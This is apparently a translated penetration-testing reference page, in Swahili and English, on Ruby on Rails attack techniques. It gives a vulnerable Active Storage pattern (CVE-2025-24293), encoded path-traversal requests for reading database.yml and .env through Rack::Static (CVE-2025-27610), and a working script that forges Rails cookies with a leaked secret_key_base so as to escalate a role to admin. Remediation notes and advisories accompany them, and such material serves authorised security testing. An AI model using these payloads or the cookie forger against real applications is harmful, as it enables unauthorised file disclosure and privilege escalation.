Mbinu za Ruby

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Kupakia faili kwa RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

Vidokezo:

• Mahali mengine ya boot/eager-load yanayotekelezwa wakati app inapoanza pia ni hatari endapo yanaweza kuandikwa (kwa mfano, config/initializers/ ni mfano wa kawaida). Ikiwa utapata upload ya faili yoyote inayowekwa mahali popote chini ya config/ na baadaye ikafanyiwa evaluate/required, unaweza kupata RCE wakati wa boot.
• Tafuta dev/staging builds zinazokopi faili zinazoendeshwa na mtumiaji ndani ya container image ambako Rails itazi-load wakati wa boot.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

• A vulnerable pattern looks like:

<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

• What to try during testing

• Tambua endpoints yoyote inayokubali variant/processing options, transformation names, au ImageMagick arguments yoyote.

• Fuzz params[:t] na params[:v] kwa makosa au athari za utekelezaji zinazoshangaza. Ikiwa unaweza kuathiri jina la method au kupitisha raw arguments zinazofika MiniMagick, unaweza kupata code exec kwenye host ya image processor.

• Ikiwa una read-access pekee kwa variants zilizozalishwa, jaribu blind exfiltration kupitia ImageMagick operations zilizotengenezwa maalum.

• Remediation/detections

• Ikiwa unaona Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 pamoja na Active Storage + image_processing + mini_magick na transformations zinazoendeshwa na mtumiaji, zingatia kuwa zinatumiwa. Pendekeza upgrade na kutekeleza allowlists kali kwa methods/params pamoja na sera ya ImageMagick iliyoboreshwa.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

• Tafuta apps zinazoweka Rack::Static ndani ya config.ru au kwenye middleware stacks. Jaribu encoded traversals dhidi ya static paths, kwa mfano:

GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Rekebisha prefix ili iendane na urls: iliyosanidiwa. Ikiwa app inajibu na yaliyomo ya faili, inawezekana una LFI kwa chochote chini ya :root iliyotatuliwa.

• Mitigation: upgrade Rack; hakikisha :root inaonyesha tu kwenye saraka ya faili za umma na imewekwa wazi.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

Vidokezo:

• Programu za zamani zinaweza kutumia AES-256-CBC na salts encrypted cookie / signed encrypted cookie, au JSON/Marshal serializers. Rekebisha salts, cipher, na serializer ipasavyo.
• Iwapo kutatokea kompromisi au wakati wa tathmini, badilisha secret_key_base ili kuondoa uhalali wa cookies zote zilizopo.

Tazama pia (Ruby/Rails-specific vulns)

• Ruby deserialization and class pollution: Deserialization Ruby Class Pollution Ruby Json Pollution
• Template injection in Ruby engines (ERB/Haml/Slim, etc.): SSTI (Server Side Template Injection)

Marejeo

• Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
• Ushauri wa GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v